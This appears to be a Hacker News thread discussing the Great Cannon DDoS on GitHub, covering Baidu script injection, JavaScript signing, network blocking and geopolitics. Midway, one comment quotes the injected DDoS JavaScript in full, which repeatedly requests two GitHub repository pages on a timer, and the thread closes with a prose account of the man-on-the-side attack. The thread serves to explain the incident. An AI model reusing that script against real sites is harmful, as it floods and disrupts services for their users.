I suspect we will reach a point where treaties are needed to protect the basic building blocks of the Internet. We can't expect nations to respond by sending in military force, or voluntary give up the benefits from this kind of attacks. This leaves few options left if one want the economic benefits from cloud services and similar shared-network concepts.

Everyone sees nuclear / Cold War negotiations in hindsight, but in 1961 (and probably also ~1950) the logic is much more interesting, given that the theories were developed from a position of profound ignorance. How would things turn out? What did the other side actually want? How reasonable was the other side? Unknown!

On a technical point, is there a reason that javascript doesn't tend to be signed in any way? Or is it? Even if you're serving unsecured content for whatever reason, it'd be nice to allow the user to verify the code they received was as you intended. (Admittedly, encrypting all traffic as a default solves this)

A good point. I think it's convenience that we don't do it, but I'd hope we move in that direction. It seems like a prudent move.

After a bit of Googling, (a) http://stackoverflow.com/questions/1368164/javascript-code-s... (b) http://www-archive.mozilla.org/projects/security/components/...

It seems it's simultaneously too difficult to do without ECMA spec support & would require a certificate chain anyway. And if you're running a cert chain infrastructure, why not use the one that already exists and run TLS?

Other side thought: with regards to the usefulness & impracticality of cert pinning, has any work been done on systems specifically designed to target low % injection systems? If 1/10 visitors gets the poisoned page, then it seems you'd have a 9/10 chance to pull a good page for comparison & verification if you (or a proxy you trust) made another request from a different IP.

Yep. Baidu are a NASDAQ listed company, while they may not be the malicious actor here, they still have a responsibility to ensure their networks are not used to attack others - which they don't seem to be taking seriously.

Until Baidu take steps to ensure their networks are not used to attack others, we should drop their packets: https://news.ycombinator.com/item?id=9295617

By locating their network inside China, Baidu is allowing a malicious actor to leverage their network traffic - which indeed is a 'use' of Baidu's network.

> The only thing they can do is hosting http://hm.baidu.com in another country.

Most likely, yes. And until they do so, or come to another solution, their traffic should be blocked.

This would restore their analytics infrastructure functionality and avoid being exploited by their own government for such kinds of attack, while being justified as an infrastructure scalability concern (to avoid backslashes by the Chinese government).

Block packets from any company that does not take reasonable steps to stop its network from being used to attack others.

This has been networking rule for a long time.

- We block open mail relays

- we block hacked Windows XP machines

- we should block a company who's in a hacked data center where their upstream adds malicious JavaScript.

Edit: 'we' = network administrators.

> If there is a specific network being leveraged by the US government to attack someone else, and the owner of the network is not taking steps to prevents its misuse, then yes, of course.

We have documented evidence of GCHQ doing man-on-the-side attacks against visitors of LinkedIn and slashdot.org. So are you currently blocking the prefixes of LinkedIn and SourceForge, Inc. on your networks? Or are you aware of any specific acts of these companies to prevent this from being possible in the future?

I worry about mass surveillance and national firewalls no matter where they come from, but I don't think balkanising the internet is a good response.

Edit: yes, throwaway7767, this means any company. However LinkedIn, in this case, was being spoofed, and LInkedIn's infrastructure was not used: http://www.spiegel.de/international/world/ghcq-targets-engin...

Edit 2: no, throwaway7767, Baidu's infrastructure - their bandwidth, their customers, and location within the Chinese Firewall are being used to attack GitHub. Baidu has control over where they locate their servers. Baidu are not exercising that control.

> Edit: yes, throwaway7767, this means any company. However LinkedIn, in this case, was being spoofed, and LInkedIn's infrastructure was not used: http://www.spiegel.de/international/world/ghcq-targets-engin....

LinkedIn was indeed being spoofed, which is exactly what was being done to baidu in this case we are discussing. So it seems to be we now agree that blocking baidu would not be appropriate?

> Edit 2: no, throwaway7767, Baidu's infrastructure - their bandwidth, their customers, and location within the Chinese Firewall are being used to attack GitHub. Baidu has control over where they locate their servers. Baidu are not exercising that control.

And in what way is this different than the attack on LinkedIn we were discussing? Please be specific.

I've already said I disapprove of these methods regardless of who applies them, but you have not seen fit to specifically state that companies like linkedin should move all their servers outside the US/UK/FVEY countries, reserving that course of action only for chinese companies.

> you have not seen fit to specifically state that companies like linkedin should move all their servers outside the US/UK/FVEY countries, reserving that course of action only for chinese companies.

Yes, I have. See quote above.

https://github.com/cn-nytimes

https://github.com/greatfire

    alert("WARNING: malicious javascript detected on this domain");

For those curious, see below for a write up of the malicious javascript (uses a simple ajax call & random number timer): http://insight-labs.org/?p=1682

document.write("<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"> \x3c/script>"); !window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");

startime = (new Date).getTime();

var count = 0;

function unixtime() { var a = new Date; return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 }

url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

NUM = url_array.length;

function r_send2() { var a = unixtime() % NUM; get(url_array[a]) }

function get(a) { var b; $.ajax({ url: a, dataType: "script", timeout: 1E4, cache: !0, beforeSend: function() { requestTime = (new Date).getTime() }, complete: function() { responseTime = (new Date).getTime(); b = Math.floor(responseTime - requestTime); 3E5 > responseTime - startime && (r_send(b), count += 1) } }) }

function r_send(a) { setTimeout("r_send2()", a) } setTimeout("r_send2()", 2E3);

The OP further clarifies why jQuery is injected _twice_: seems the injection is occurring only for 1% of requests. So it appears the code is looking to see if it has triggered the injection itself, and fires another request if needed.

Good engineers do care. Don't mistake "being an engineer" with "being apathetic".

We knew the world would not be the same. A few people laughed, a few people cried, most people were silent. I remembered the line from the Hindu scripture, the Bhagavad-Gita... "Now, I am become Death, the destroyer of worlds."

Any engineer worth his salt absolutely understands the consequences of their actions on the world. Sometimes they understand a bit too late.

Most likely unrelated to North Korea and used for propagandistic purposes (including publicity for a below par movie).

If that is the case, why not do something even more radical in the response like changing the targeted urls ? They could replace them by baidu urls for example, effectively transforming a DDoS against github into a DDoS against baidu (not saying baidu is the author of the attack here, but that would certainly have an impact on the traffic being monitored by the GFW).

Still, this is a read-based DoS. It should be fairly easy to mitigate with a CDN...

It's a big programming task for a small processing task for a temporary payoff.

And yes, I'm aware that all the data is already accessible via their API, but that's not quite as easy to deal with as a simple "git clone". For now, perhaps something like https://backhub.co/ could help, but I'd like to have the option to self-host (which doesn't appear to be the case for BackHub).

EDIT: Something tells me they'd never do that, simply because their business model doesn't stand to benefit from it. But hey, I can dream.

Big decision is whether to store the issues and other metadata in a seperate branch or not.

Perhaps Baidu still shows up as the referring URL, though?

    > I thought it was only people outside China who are being 
    > giving the poisoned javascript, and the requests are
    > being made on the client-side from them - which would
    > appear to be just random traffic

If I'm a start-up, or any "hot" website, do I have anything to gain by allowing myself to be reached by computers inside China's IP space? Same for Russia, North Korea? All 3 are known to be the source of many disruptive attacks, neither of the 3 are important markets, with the exception of China, where they've decided to re-implement all non-Chinese internet services anyway.

I'm honestly curious. I'm in the process of launching a project of my own and wonder if there's any reason to not attempt to blacklist China/Russia en masse?

  ssh [email protected] "git clone git://github.com/freebsd/freebsd.git freebsd"

In short, this is how this Man-on-the-Side attack is carried out:

An innocent user is browsing the internet from outside China.

One website the user visits loads a javascript from a server in China, for example the Badiu Analytics script that often is used by web admins to track visitor statistics (much like Google Analytics).

The web browser's request for the Baidu javascript is detected by the Chinese passive infrastructure as it enters China.

A fake response is sent out from within China instead of the actual Baidu Analytics script. This fake response is a malicious javascript that tells the user's browser to continuously reload two specific pages on GitHub.com.

Nowhere do they say that the script is only injected into the pages from GitHub.